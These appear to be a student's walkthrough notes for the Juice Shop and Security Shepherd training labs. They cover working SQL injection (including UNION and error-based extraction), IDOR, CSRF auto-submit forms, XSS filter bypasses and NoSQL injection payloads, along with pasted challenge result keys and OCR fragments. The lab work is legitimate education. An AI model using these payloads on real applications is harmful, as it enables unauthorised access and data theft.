

JUICE SHOP

JUICE SHOP

Task #1: Sensitive Data exposure

Got to the url/ftp and get the exposed data

<http://baselink/ftp>

Task #2: Unauthenticated metrics endpoint

<http://192.168.20.47:48631/metrics>

OR

[http:// baselink/metrics](http://baselink/metrics)

Task #3: login as administrator

In Username : ' OR 1=1--

In Password: <Put Anything here >

Task #4: Broken Access Control – IDOR

Underlying Concept

Insecure Direct Object References (IDOR) occur when an application uses user-supplied input to access a database object directly without verifying if the logged-in user possesses the authorization to view that specific record.

How to Solve It in Juice Shop

1. **Log In:** Create an account or log into an existing user account on the Juice Shop instance.
2. **Add an Item to the Basket:** Navigate to the main page and add any juice or product to your shopping basket. This initializes a basket session or record in the database.
3. **Inspect the Basket Request:**
 - Open your browser's **Developer Tools** (\$F12\$) and switch to the **Network** tab.
 - Click on the shopping basket icon in the top right corner of the application to view your cart.
 - Look for a network request targeted at an endpoint structured like [/rest/basket/](#) or [/api/BasketItems/](#).
4. **Identify the Identifier:** Notice how the URL or payload maps to a specific numeric ID representing your basket (for example, [/rest/basket/2](#)).
5. **Manipulate the Reference:**

- You can use the built-in "Edit and Resend" feature in your browser's Network tab (or a tool like Burp Suite) to modify that numeric value.
- Change your basket identifier to a different integer (for example, if your ID was 2, change it to 1, 3, or 4).
- Send the modified request. If successful, the application will return the JSON data or render the product list belonging to another user's basket.

Task #5: SQL injection in the database

`http://url/rest/products/search?q=')UNION SELECT sql,2,3,4,5,6,7,8,9 FROM sqlite_master --`

Task #6: Broken Access Control

Underlying Concept

This flaw occurs when the application relies completely on parameters provided in the client-side API request body to assign ownership of data (like an author's email or user ID), rather than deriving the identity of the creator securely from the server-side session token.

How to Solve It in Juice Shop

1. **Navigate to Product Reviews:** Log in, click on any product from the main dashboard to open its details window, and look for the option to write or submit a review.
2. **Capture the Submission Request:**
 - Ensure your browser's **Network** tab is open.
 - Type a text review and click the submit button.
 - Locate the outgoing **POST** request sent to the backend review endpoint (typically something like `/api/Products/1/reviews` or `/rest/products/reviews`).
3. **Analyze the Request Body:**
 - Examine the payload structure (the payload is sent as JSON data).
 - Look for properties within the JSON object that dictate who the author is. Examples include parameters like `"author"`, `"email"`, `"userId"`, or `"User"`.
4. **Modify the Attribute:**
 - Use an intercepting tool or the "Edit and Resend" capability of the browser to alter the value of that parameter before sending it to the server.
 - Change the email address or numerical identifier from your own account details to an arbitrary placeholder or another user's known address (e.g., `admin@juice-sh.op`).
5. **Verify Ownership Bypass:** Send the request. Check the product details page again to verify if your newly submitted review appears under the identity of the unauthorized target user profile.

CSRF

SECURITY SHEPHERD

CSRF

GET </root/grantComplete/csrfLesson?userId=exampleId>

To complete this lesson, send the administrator a message with a image URL, that will show in an embedded `<img>` tag that will force them to submit the request described above, replacing the `exampleId` attribute with your temp `userId`: `660276285`

Contact Admin

Please enter the [URL of the image](#) that you want to send to one of Security Shepherds 24 hour administrators.

Well Done

The administrator received your message and submitted the GET request embedded in it's image

The result key for this lesson is



Message Sent

Sent To: administrator@SecurityShepherd.com

Message: 

<https://localhost/root/grantComplete/csrfLesson?userId=temp-id>

OR

[IP/root/grantComplete/csrfLesson?userId=temp-id](http://localhost/root/grantComplete/csrfLesson?userId=temp-id)

Scoreboard

Cheat

Lessons

Challenges

CSRF

XCSRF 1

XCSRF 2

XCSRF 3

XCSRF 4

XCSRF 5

XCSRF 6

XCSRF 7

XCSRF JSON

Injection

XSS

Search Modules...

Submit Result Key Here... Submit

Cross Site Request Forgery Challenge One

To complete this challenge, you must get your CSRF counter above 0. Once The request to increment your counter is as follows:

```
GET /user/csrfchallengeone/plusplus?userid=exampleId
```

Where exampleId is the ID of the user who's CSRF counter is been incremented. Your ID is `b5a164fdb8dbfd5cd3f98860f3483c373a132d9`. Any user than you may increment your counter for this challenge, except you. Exploit the CSRF vulnerability in the request described above against other users to complete this challenge. Once you have successfully CSRF'd another Security Shepherd user, the solution key will appear just below this message.

You can use the CSRF forum below to post a message with an image.

This CSRF Challenge has been Completed

Congratulations, you have completed this CSRF challenge by successfully carrying out a CSRF attack on another user for this level's target. The result key is

AD22AEA02E8A66302DA95CFDC38ED7EC3D7C8EA2A7537A7F86A3AF6DE306F19FFB85
E815C8828E428322057E7BAABF217553F86818F54D8D2AD20E124E80DB35

Copied!

Please enter the `image` that you would like to share with your class

Post Message

You must be assigned to a class to use this function. Please contact your administrator.

Step-by-Step "Two-User" Resolution

1. Gather Your Information

- **Your Target URL Pattern:**
`/user/csrfchallengeone/plusplus?userid=YOUR_ID`
- **Your New User ID** (from your latest screenshot `image_925fc2.png`):
`30b58a9e8d905b37e37ceb556abf4bb7397e32b0`

2. Open an Incognito Window (User 2)

1. Open a new **Incognito / Private Window** (or a completely different browser like Chrome/Firefox) so your main login session isn't overwritten.
2. Go to your local Security Shepherd page (`http://localhost:8080` or whichever port you are running on).
3. Log into a **different user account** (create a quick dummy account on the login page if you don't have a second one).

3. Deliver the Attack

Since you can't post the iframe on the forum, you can make the second user's browser load the attack directly.

While inside the **Incognito Window (logged into the second account)**, paste this exact absolute link directly into the browser's main address bar and hit **Enter**:

Plaintext

`http://localhost:8080/user/csrfchallengeone/plusplus?userid=30b58a9e8d905b37e37ceb556abf4bb7397e32b0`

(Remember to adjust `localhost:8080` if your browser bar is showing a different port number like `8443` or `51221`).

Cheats

Lesson Question

[Cross Site Request Forgery Cheat](#)

To complete the lesson, the attack string is the following:

`"https://hostname:port/root/grantComplete/csrfLesson?userId=templd"`

Problems

[CSRF 1 Cheat](#)

To complete this challenge, you can embed the CSRF request in an iframe very easily as follows;

```
<iframe  
src="https://hostname:port/user/csrfchallengeone/plusplus?userid=exampleId"></iframe>
```

Then you need another user to be hit with the attack to mark it as completed

[CSRF 2 Cheat](#)

To complete this challenge, you must force another user to submit a post request. The easiest way to achieve this is to force the user to visit a custom webpage that submits the post request. This means the webpage needs to be accessible. It can be accessed via a HTTP server, a public Dropbox link, a shared file area. The following is an example webpage that would complete the challenge

```
<html>  
<body>
```

```
<form id="completeChallenge2" action="https://hostname:port/user/csrfchallengethree/plusplus"
method="POST" >
<input type="hidden" name="userid" value="exampleId" />
<input type="submit"/>
</form>
<script>
document.forms["completeChallenge2"].submit();
</script>
</body>
</html>
```

The class form function should be used to create an iframe that forces the user to visit this attack page.

CSRF 3 Cheat

To complete this challenge, you must force an admin to submit a post request. The easiest way to achieve this is to force the admin to visit a custom webpage that submits the post request. This means the webpage needs to be accessible. It can be accessed via a HTTP server, a public Dropbox link, a shared file area. The following is an example webpage that would complete the challenge

```
<html>
<body>
<form id="completeChallenge3" action="https://hostname:port/user/csrfchallengetwo/plusplus"
method="POST" >
<input type="hidden" name="userid" value="exampleId" />
<input type="hidden" name="csrfToken" value="anythingExceptNull" />
<input type="submit"/>
</form>
<script>
document.forms["completeChallenge3"].submit();
</script>
</body>
</html>
```

The class form function should be used to create an iframe that forces the admin to visit this attack page.

CSRF 4 Cheat

To complete this challenge a user must craft a CSRF attack that sends a POST request, to the request described in the challenge write up, with their CSRF token. This CSRF Token will work on any user.

CSRF 5 Cheat

To guarantee completing this CSRF Challenge in a single attempt, a user must craft a CSRF attack that sends a POST request, to the request described in the challenge write up, with all of the possible CSRF tokens for the challenge. The only possible csrf tokens for this challenge are 0, 1 and 2.

CSRF 6 Cheat

To guarantee completing this CSRF Challenge in a single attempt, a user must craft a CSRF attack that sends a POST request, to the request described in the challenge write up, with all of the possible CSRF tokens for the challenge. The only possible csrf tokens for this challenge are c4ca4238a0b923820dcc509a6f75849b, c81e728d9d4c2f636f067f89cc14862c and eccbc87e4b5ce2fe28308fd9f2a7baf3.

CSRF 7 Cheat

To complete this challenge, a user must exploit an SQL Wild Card Enumeration in the 'Retrieve Token' function to retrieve other users CSRF token (Submit a percentage sign). This information must be utilised to launch a CSRF attack against them before they refresh the challenge page themselves. Once a victim refreshes the challenge page, their token updates. Social Engineering will need to be utilised to successfully complete this challenge.

CSRF JSON Cheat

To complete this challenge, you must force another user to submit a post request which contains a JSON payload. The easiest way to achieve this is to force the user to visit a custom web page that submits the post request. This means the web page needs to be accessible. It can be accessed via a HTTP server, a public Dropbox link, a shared file area. It is possible to use HTML forms to submit cross domain POST requests with JSON payloads by setting the **enctype** attribute to text/plain and then forming the JSON payload around the necessary equals symbol which normally delimitates the parameter name from the parameter value. The following is an example web page that would complete the challenge

```
<html>
<body>
<form id="completeChallengeJson" enctype="text/plain"
action="https://hostname:port/user/csrfchallenge2two/plusplus" method="POST" >
<input type="hidden" name="{\"userId\":\"exampleId\", \"value=\"\", \"end\"e}'>
</form>
<script>
document.forms["completeChallengeJson"].submit();
</script>
```

```
</body>
</html>
```

The class form function should be used to create an iframe that forces the user to visit this attack page

CSS1st one

Submit Result Key Here...

Cross Site Scripting 1 Cheat

Input is being filtered. To complete this challenge, enter the following attack string:

```
<iframe src="#" onload=alert("XSS")></iframe>
```

Cross Site Scripting One

Find a XSS vulnerability in the following form. It would appear that your input is been filtered!

Please enter the **Search Term** that you want to look up

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

90FE182EDA24FB85351D86DC425D373DF8A9F72E18FC0235BBD9349F320857FA89C8BC
5F2B144282E77D9B907DEB700C2E10E76DE960282D537694265B085458



Search Results

Cross Site Scripting One

Find a XSS vulnerability in the following form. It would appear that your input is been filtered!

Please enter the **Search Term** that you want to look up

Sorry but there were no results found that related to

```
<iframe src='#' onload=alert("XSS")></iframe>
```

2nd one

Submit Result Key Here...

Submit

Cross Site Scripting 2 Cheat

Input is being filtered. To complete this challenge, enter the following attack string;

```
<input type="button" onmouseup="alert('XSS')"/>
```

Cross Site Scripting Two

Find a XSS vulnerability in the following form. It would appear that your input is been filtered!

Please enter the Search Term that you want to look up

```
<input type="button" onmouseup="alert('XSS')"/>
```

Get this user

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

```
AEED252ABD52EE96182B4E4F9F379632E2E6973DEB3143C2107C2606BFCCE4434D2B1A5137  
97E034ED570375E55EED2E8F4C21DA565CC3E48637129DEF0C9C84
```



Search Results

Sorry but there were no results found that related to

```
<input type="button" onmouseup="alert('XSS')"/>
```

3rd one

Submit Result Key Here...

Cross Site Scripting 3 Cheat

Input is being filtered. What is being filtered out is being completely removed. The filter does not act in a recursive fashion so with enough nested javascript triggers, it can be defeated. To complete this challenge, enter the following attack string;

```
<input type="button" onclickoncliconcliconcliconclckkkk="alert('XSS')"/>
```

Cross Site Scripting Three

Find a XSS vulnerability in the following form. It would appear that your input is been filtered!

Please enter the **Search Term** that you want to look up

```
<input type="button" onclickoncliconcliconcliconclckkkk="alert('XS!'"
```

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

```
44E134894992F73D64A125614B1654BDC09B7F98A6893CDD2A3A172F94743E0EEF9E4805F5B71704A14CC542976D8947DFE762607D25D50981F0C4CDA6965277D
```



Search Results

Sorry but there were no results found that related to

```
<input type="button" onclickoncliconcliconcliconclckkkk="alert('XSS')"/>
```

4th one

Cross Site Scripting 4 Cheat

This challenge does not require a solution to be formed in XHTML to be detected. One way to pass this challenge is to submit the following; `http://test"oNmouseover=alert(123);//`

Cross Site Scripting Four

Demonstrate a XSS vulnerability in the following form by executing a JavaScript alert command. The developers had heard that escaping is a better way of fixing XSS issues but they were not totally clear on how to implement it.

Please enter the [URL](#) that you wish to post to your public profile;

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

F0F9B2407F6CCB093817BF11E8D05184C51606B2DA6DA193BC15F8770191CFAA95C90B
E9C4D368DAC91E4A3266B247DB79EE4E0C618A297A1159A51643965232



Your New Post!

You just posted the following link;

[http://test"oNmouseover=alert\(123\);//](http://test)

http://test"oNmouseover=alert(123);//

5th one

Cross Site Scripting 5 Cheat

This challenge does not require a solution to be formed in XHTML to be detected. One way to pass this challenge is to submit the following: `http://test""onmouseover=alert(123);//`

Cross Site Scripting Five

Demonstrate a XSS vulnerability in the following form by executing a JavaScript alert command. The developers of this sub application wanted to demonstrate how HTTP links can be embedded in HTML. Have a look by putting in your own HTTP link. The Developers are white listing input so only HTTP URLs are allowed!

Please enter the [URL](#) that you wish to post to your public profile;

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

8DD402B71145B977F937AD20F2794C0DAAADEE2613BB14FDEFED611AF55F2DD94D8491
R7735E500D3F00287DEF50E7043D559D148DD3FC30R5185E7R00RAA573



Your New Post!

You just posted the following link;

[Your HTTP Link](#)

`http://test""onmouseover=alert(123);//`

6th one

Cross Site Scripting 6 Cheat

This challenge does not require a solution to be formed in XHTML to be detected. One way to pass this challenge is to submit the following: `http://""onmouseover=alert(123);//`

Cross Site Scripting Six

Demonstrate a XSS vulnerability in the following form by executing a JavaScript alert command. The developers of this application wanted to demonstrate how HTTP links can be embedded in HTML and learned a bit about sanitizing their input for XSS attacks! Have a look by putting in your own HTTP link. The developers are only allowing HTTP URLs!

Please enter the [URL](#) that you wish to post to your public profile;

Well Done

You successfully executed the JavaScript alert command!

The result key for this challenge is

EB421121D33BA8867348CDBA8B85066C681FF0C6BDC536755CDFE1511210BD0D3D680C
6RDC5062AC105F4E07250E3373FC25C85D9EC8C181A9835A871613B46D



Your New Post!

You just posted the following link;

`http://""onmouseover=alert(123);//`

--

XSS Cross Site Scripting

XSS Cross Site Scripting

<https://purpleskypeter.blogspot.com/2018/03/owasp-securityshepherd-my-practice.html>

Cross Site Scripting Cheat

The following attack vector will work wonderfully;

```
<script>alert('XSS')</script>
```

What is Cross Site Scripting (XSS)?

Cross-Site Scripting, or **XSS**, issues occur when an application uses **untrusted data** in a web browser without sufficient **validation** or **escaping**. If untrusted data contains a client side script, the browser will execute the script while it is interpreting the page.

Attackers can use XSS attacks to execute scripts in a victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. Anyone that can send data to the system, including administrators, are possible candidates for performing XSS attacks in an application.

According to OWASP, XSS is the most widespread vulnerability found in web applications today. This is partially due to the variety of **attack vectors** that are available. The easiest way of showing an XSS attack executing is using a simple **alert box** as a client side script pay load. To execute a XSS payload, a variety of an attack vectors may be necessary to overcome insufficient escaping or validation. The following are examples of some known attack vectors, that all create the same **alert** pop up that reads "XSS".

```
<SCRIPT>alert('XSS')</SCRIPT>  
<IMG SRC="#" ONERROR=alert('XSS')/>  
<INPUT TYPE="BUTTON" ONCLICK=alert('XSS')/>  
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
```

Hide Lesson Introduction

The following search box outputs untrusted data without any validation or escaping. Get an alert box to execute through this function to show that there is an XSS vulnerability present.

Please enter the **Search Term** that you want to look up

Get This User

```
<script>alert('XSS')</script>
```

Cross Site Scripting 1 Cheat

Input is being filtered. To complete this challenge, enter the following attack string:

```
<iframe src='#' onload='alert("XSS")'></iframe>
```

Cross Site Scripting One

Find a XSS vulnerability in the following form. It would appear that your input is been filtered!

Please enter the **Search Term** that you want to look up

Get this user

```
<iframe src='#' onload='alert("XSS")'></iframe>
```

Cross Site Scripting 2 Cheat

Input is being filtered. To complete this challenge, enter the following attack string;

```
<input type="button" onmouseup="alert('XSS')"/>
```

Cross Site Scripting Two

Find a XSS vulnerability in the following form. It would appear that your input is been filtered!

Please enter the **Search Term** that you want to look up

Get this user

```
<input type="button" onmouseup="alert('XSS')"/>
```

Cross Site Scripting 3 Cheat

Input is being filtered. What is being filtered out is being completely removed. The filter does not act in a recursive fashion so with enough nested javascript triggers, it can be defeated. To complete this challenge, enter the following attack string;

```
<input type="button" onclickoncliconcliconcliconclickkkkk="alert('XSS')"/>
```

Cross Site Scripting Three

Find a XSS vulnerability in the following form. It would appear that your input is been filtered!

Please enter the **Search Term** that you want to look up

Get this user

```
<input type="button" onclickoncliconcliconcliconclickkkkk="alert('XSS')"/>
```

Cross Site Scripting 4 Cheat

This challenge does not require a solution to be formed in XHTML to be detected. One way to pass this challenge is to submit the following; `http://test"oNmouseover=alert(123);//`

Cross Site Scripting Four

Demonstrate a XSS vulnerability in the following form by executing a JavaScript alert command. The developers had heard that escaping is a better way of fixing XSS issues but they were not totally clear on how to implement it.

Please enter the **URL** that you wish to post to your public profile;

Make Post

```
http://test"oNmouseover=alert(123);//
```

Cross Site Scripting 5 Cheat

This challenge does not require a solution to be formed in XHTML to be detected. One way to pass this challenge is to submit the following; `http://test""onmouseover=alert(123);//`

Cross Site Scripting Five

Demonstrate a XSS vulnerability in the following form by executing a JavaScript alert command. The developers of this sub application wanted to demonstrate how HTTP links can be embedded in HTML. Have a look by putting in your own HTTP link. The Developers are white listing input so only HTTP URLs are allowed!

Please enter the URL that you wish to post to your public profile;

Make Post

`http://test""onmouseover=alert(123);//`

Cross Site Scripting 6 Cheat

This challenge does not require a solution to be formed in XHTML to be detected. One way to pass this challenge is to submit the following; `http://""onmouseover=alert(123);//`

Cross Site Scripting Six

Demonstrate a XSS vulnerability in the following form by executing a JavaScript alert command. The developers of this application wanted to demonstrate how HTTP links can be embedded in HTML and learned a bit about sanitizing their input for XSS attacks! Have a look by putting in your own HTTP link. The developers are only allowing HTTP URLs!

Please enter the URL that you wish to post to your public profile;

Make Post

`http://""onmouseover=alert(123);//`

Cross Site Scripting Cheat

The following attack vector will work wonderfully;

```
<script>alert('XSS')</script>
```

SQL Injection

SQL Injection

SQL Injection Cheat

The lesson can be completed with the following attack string

```
' OR '1' = '1
```

SQL Injection Lesson

Injection flaws, such as [SQL injection](#), occur when hostile data is sent to an interpreter as part of a command or query. The hostile data can trick the interpreter into executing unintended commands or accessing unauthorized data. Injection attacks are of a high severity. Injection flaws can be exploited to remove a system's confidentiality by accessing any information held on the system. These security risks can then be extended to execute updates to existing data affecting the systems integrity and availability. These attacks are easily exploitable as they can be initiated by anyone who can interact with the system through any data they pass to the application.

The following form's parameters are concatenated to a string that will be passed to a SQL server. This means that the data can be interpreted as part of the code.

The objective here is to modify the result of the query with [SQL Injection](#) so that all of the table's rows are returned. This means you want to change the [boolean](#) result of the query's [WHERE](#) clause to return true for every row in the table. The easiest way to ensure the [boolean](#) result is always true is to inject a [boolean](#) 'OR' operator followed by a true statement like `1 = 1`.

If the parameter is been interpreted as a string, you can escape the string with an apostrophe. That means that everything after the apostrophe will be interpreted as SQL code.

Hide Lesson Introduction

Exploit the [SQL Injection](#) flaw in the following example to retrieve all of the rows in the table. The lesson's solution key will be found in one of these rows! The results will be posted beneath the search form.

Please enter the [user name](#) of the user that you want to look up

Get this user

' OR '1' = '1

SQL Injection 1 Cheat

To complete this challenge, the following attack strings will return all rows from the table:

" or "1" = "1

" or "a" != "

The query is not parameterising the query and is concatenating the user data to the query. A user only needs to use a double quote to escape the context of a String and perform the SQL injection

SQL Injection Challenge One

To complete this challenge, you must exploit SQL injection flaw in the following form to find the result key.

Please enter the **Customer Id** of the user that you want to look up

" or "1" = "1

" or "a" != "

Admin

Scoreboard

Cheat

Lessons

Challenges

CSRF

Injection

NoSQL Injection One

SQL Injection 1

SQL Injection 2

SQL Injection 3

SQL Injection 4

SQL Injection 5

SQL Injection 6

SQL Injection 7

SQL Injection Escaping

SQL Injection Stored

Procedure

XSS

SQL Injection 1 Cheat

To complete this challenge, the following attack strings will return all rows from the table:

" or "1" = "1

" or "a" != "

The query is not parameterising the query and is concatenating the user data to the query. A user only needs to use a double quote to escape the context of a String and perform the SQL injection

SQL Injection Challenge One

To complete this challenge, you must exploit SQL injection flaw in the following form to find the result key.

Please enter the **Customer Id** of the user that you want to look up

Search Results

Name	Address	Comment
John Fils	crazycat@example.com	null
Rubix Man	manycolours@cube.com	null
Rita Hanolan	thenightbefore@example.com	null
Paul O'Brien	sixshooter@deaf.com	Well Done! The result Key is fd8e9a29dab791197115b58061b215594211e72c1680f1eacc50b0394133a09f

Admin

Scoreboard

Cheat

Lessons

Challenges

CSRF

Injection

XNoSQL Injection One

✓SQL Injection 1

XSQL Injection 2

XSQL Injection 3

XSQL Injection 4

XSQL Injection 5

XSQL Injection 6

XSQL Injection 7

XSQL Injection Escaping

XSQL Injection Stored

Procedure

XSS

f62abebf5658a6a44c5c9babc7865110c62f5ecd9d0a7052db48c4dbee0200e3

Submit

SQL Injection 2 Cheat

To complete this challenge, the following attack string will return all rows from the table:
test'or'!=2@test.com
The input is validated as an email address before it is passed to the DB.

SQL Injection Challenge Two

To complete this challenge, you must exploit the SQL injection flaw in the following form to find the result key.
Please enter the Customer Email of the user that you want to look up

test'or'!=2@test.com

Get user

Search Results

Name	Address	Comment
John Fits	crazycat@example.com	null
Rubix Man	manycolours@cube.com	null
Rita Hanolan	thenightbefore@example.com	Well Done! The Result key is f62abebf5658a6a44c5c9babc7865110c62f5ecd9d0a7052db48c4dbee0200e3
Paul O Brien	sixshooter@deaf.com	null

test'or'!=2@test.com

Admin

Scoreboard

Cheat

Lessons

Challenges

CSRF

Injection

XNoSQL Injection One

✓SQL Injection 1

✓SQL Injection 2

✓SQL Injection 3

XSQL Injection 4

XSQL Injection 5

XSQL Injection 6

XSQL Injection 7

XSQL Injection Escaping

XSQL Injection Stored

Procedure

XSS

Submit Result Key Here...

Submit

SQL Injection 3 Cheat

To complete this challenge, you must craft a second statement to return Mary Martin's credit card number as the current statement only returns the customerName attribute. The following string will perform this:
`' UNION ALL SELECT creditCardNumber FROM customers WHERE customerName = 'Mary Martin'`
The filter in this challenge is difficult to get around. But the 'UNION' operator is not being filtered. Using the UNION command you are able to return the results of custom statements.

SQL Injection Challenge Three

To complete this challenge, you must exploit a SQL injection issue in the following sub application to acquire the credit card number from one of the customers that has a customer name of Mary Martin. Mary's credit card number is the result key to this challenge.
Please enter the Customer Name of the user that you want to look up

Get user

' UNION ALL SELECT creditCardNumber FROM customers WHERE customerName = 'Mary Martin'

d316e80045d50bdf8ed49d48f130b4acf4a878c82faef34daff8eb1b98763b6f

Submit

SQL Injection 4 Cheat

The filter in this challenge is removing all single quotes. However as there are two user parameters being utilised in the challenges login query, backslashes can be used to escape the user input's intended string context. The challenge can be completed with a user name of a Backslash and a password of OR 1 = 1 AND idusers = 7; -- (Space after the -- is important!) so that you are signed in as the admin user.

SQL Injection 4

To acquire the result key for this challenge you must successfully sign in as an administrator.

Super Secure Payments

Please sign in to make your very secure payments.

UserName:

Password:

.....

Get user

Login Result

Signed in as admin

As you are the admin, here is the result

key: d316e80045d50bdf8ed49d48f130b4acf4a878c82faef34daff8eb1b98763b6f

Backslash and a password of **OR 1 = 1 AND idusers = 7; --** (Space after the -- is important!) so that you are signed in as the admin user.

OR 1 = 1 AND idusers = 7; --

5th one

343f2e424d5d7a2eff7f9ee5a5a72fd97d5a19ef7bff3ef2953e033ea32dd7ee

Submit

SQL Injection Challenge 5

If you can buy trolls for free you'll receive the key for this level!

Super Meme Shopping

Hey customers: Due to a shipping mistake we are completely over stocked in rage Memes. Use the coupon code **PleaseTakeARage** or **RageMemeForFree** to get yours for free!!!.

Picture	Cost	Quantity
	\$45	0
	\$15	0
	\$3000	1
	\$30	0

Please select how many things you would like to buy and click submit

Coupon Code:

Place Order

Order Complete

Your order has been made and has been sent to our magic shipping department that knows where you want this to be delivered via brain wave sniffing techniques.

Your order comes to a total of **\$0**

Trolls were free, Well Done -
343f2e424d5d7a2eff7f9ee5a5a72fd97d5a19ef7bff3ef2953e033ea32dd7ee

Setting

Setting

Setting

Setting

70 Setti

5 Settin

74 Setti

Setting

9 Settin

Setting

2 Settin

Hiding

Applyin

Enablin

Making

27 modu

Setting

Setting

Setting

48 Updat

Scroll

> fetch('metho

head

'Co

},

body:

})

.then(r

.then(c

< > Prom

Valid O

>

```
fetch('challenges/8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62VipCouponCheck', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
})
```

```

body: "couponCode=' union select itemId, percentOff, CONCAT('This is the couponCode: ',
couponCode, ' ') from vipCoupons; -- "
})
.then(response => response.text())
.then(data => console.log(data));

```

Make the troll to 1 and the coupon code and enter , the result key is shown.

6th one

The screenshot shows a web application interface for a security challenge. The main content area displays the challenge details and a form for submitting a result key. The browser's developer console is open, showing the HTML structure of the page, including a form with a 'Submit' button and a 'Run User Query' button. The console also shows the JavaScript code for the form, including a 'handleSubmit' function that sends a POST request to the server.

SQL Injection Challenge 6

This challenge can be defeated by encoding SQL Injection attacks for x UTF. For Example, the following will reveal the challenges result key;

```

\x27\x20UNION\x20SELECT\x20userAnswer\x20FROM\x20users\x20WHERE\x20userName\x20\x3D\x20\x27Brendan\x27\x3B\x20--\x20

```

SQL Injection Challenge 6

To obtain the result key to this challenge, you must obtain *Brendan's* answer to his security question.

Get Your Authentication Number

Put in your pin number to get your current authentication number

Please enter your Pin number:

Welcome back 17f999a8b3fbfde54124d6e94b256a264652e5087b14622e1644c884f8a33f82

Your authentication number is now 68106936340652124614175434437374745352

Inspect and delete the input max length form=4 and then input the :

```

\x27\x20UNION\x20SELECT\x20userAnswer\x20FROM\x20users\x20WHERE\x20userName\x20\x3D\x20\x27Brendan\x27\x3B\x20--\x20

```

7th one

Submit Result Key Here...

SQL Injection 7 Cheat

To complete this challenge, a SQL injection flaw must be exploited. The vulnerable parameter is 'subUserEmail'. It must be mostly well formed as an email address to get past the validation process. The following vector, which is URL encoded, will sign the user in as user 1.

```
'or'1='1'union%0aselect%0auserName%0afrom%0ausers%0awhere'!='%40v
```

SQL Injection Challenge 7

To complete this challenge, you must exploit a SQL injection flaw so you can sign in and receive the result key.

Please enter your email and password to sign in.

Email:

Password:

Invalid data submittedBad Email address detected.

```
'or'1='1'union%0aselect%0auserName%0afrom%0ausers%0awhere'!='%40v
```

NoSQL Injection One Cheat

The database in this level utilises MongoDB which does NOT use SQL. Queries in MongoDB are done through JavaScript.

You need to stop the request in an HTTP proxy and use the following JavaScript to exploit the vulnerability:

```
return(true);var a='a
```

SQL Injection 1 Cheat

To complete this challenge, the following attack strings will return all rows from the table:

```
" or "1" = "1
```

" or "a" != "

The query is not parameterising the query and is concatenating the user data to the query. A user only needs to use a double quote to escape the context of a String and perform the SQL injection

SQL Injection 2 Cheat

To complete this challenge, the following attack string will return all rows from the table:

```
test'or'!='2@test.com
```

The input is validated as an email address before it is passed to the DB.

SQL Injection 3 Cheat

To complete this challenge, you must craft a second statement to return Mary Martin's credit card number as the current statement only returns the customerName attribute. The following string will perform this;

```
' UNION ALL SELECT creditCardNumber FROM customers WHERE customerName = 'Mary Martin
```

The filter in this challenge is difficult to get around. But the 'UNION' operator is not being filtered. Using the UNION command you are able to return the results of custom statements.

SQL Injection 4 Cheat

The filter in this challenge is removing all single quotes. However as there are two user parameters being utilised in the challenges login query, backslashes can be used to escape the user input's intended string context. The challenge can be completed with a user name of a **Backslash** and a password of **OR 1 = 1 AND idusers = 7; --** (Space after the -- is important!) so that you are signed in as the admin user.

SQL Injection 5 Cheat

To complete this challenge without prior knowledge, a user must exploit an SQL injection flaw in a 'VIP Coupon Check' call. To find this function call they must deobfuscate the JavaScript file in the challenge. The address of the function is

challenges/8edf0a8ed891e6fef1b650935a6c46b03379a0eebab36afcd1d9076f65d4ce62VipCouponCheck on the exposed server. The parameter vulnerable to SQL injection in the POST request call to this URL is **couponCode**. There is no filter in this challenge so using **' union select itemId, percentOff, CONCAT('This is the couponCode: ', couponCode, ' ') from vipCoupons; --** as the vulnerable parameter value will retrieve the necessary coupon.

SQL Injection 6 Cheat

This challenge can be defeated by encoding SQL Injection attacks for x UTF. For Example, the following will reveal the challenges result key;

\x27\x20UNION\x20SELECT\x20userAnswer\x20FROM\x20users\x20WHERE\x20userName\x20=\x20\x3D\x20\x27Brendan\x27\x3B\x20--\x20

SQL Injection 7 Cheat

To complete this challenge, a SQL injection flaw must be exploited. The vulnerable parameter is 'subUserEmail'. It must be mostly well formed as an email address to get past the validation process. The following vector, which is URL encoded, will sign the user in as user 1.

'or'1='1'union%0aselect%0auserName%0afrom%0ausers%0awhere"!='%40v

SQL Injection Escaping Cheat

One way to exploit this security risk is to escape the leading backslash that is added before apostrophes with another backslash. The following attack vector will solve the level;

\'or"1"="1"; --

SQL Injection Stored Procedure Cheat

The following attack vectors will expose the result key over two queries.

Step One: **test' AND (SELECT 7303 FROM(SELECT COUNT(*),CONCAT(0x716b6a7671,(SELECT MID((IFNULL(CAST(comment AS CHAR),0x20)),1,50) FROM sqlchalstoredproc.customers ORDER BY customerId LIMIT 2,1),0x71786b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'hdTL'='hdTL**

This will return an error revealing the first part of the key in the message with **qxkzq1** added to the end for padding. remove those characters and record the rest of the key revealed.

Step Two: **test' AND (SELECT 9441 FROM(SELECT COUNT(*),CONCAT(0x716b6a7671,(SELECT MID((IFNULL(CAST(comment AS CHAR),0x20)),51,50) FROM sqlchalstoredproc.customers ORDER BY customerId LIMIT 2,1),0x71786b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'ilGf'='ilGf**

This will reveal the second part of the key, padded with **qkjvq** at the start and **qxkzq1** at the end. Remove the padding and add the rest to the previously revealed part of the result key. That is the key to solve this challenge

1st

Submit Result Key Here...

SQL Injection Escaping Cheat

One way to exploit this security risk is to escape the leading backslash that is added before apostrophes with another backslash. The following attack vector will solve the level;

```
\or"1"="1"; --
```

SQL Injection Escaping Challenge

To complete this challenge, you must exploit SQL injection flaw in the following form to find the result key. The developer of this level has attempted to stop SQL Injection attacks by escaping apostrophes so the database interpreter will know not to pay attention to user submitted apostrophes.

Please enter the Customer Id of the user that you want to look up

Search Results

Name	Address	Comment
John Fits	thislifecouldbethelast@example.com	null
Rubix Man	dontkidyourself@cube.com	null
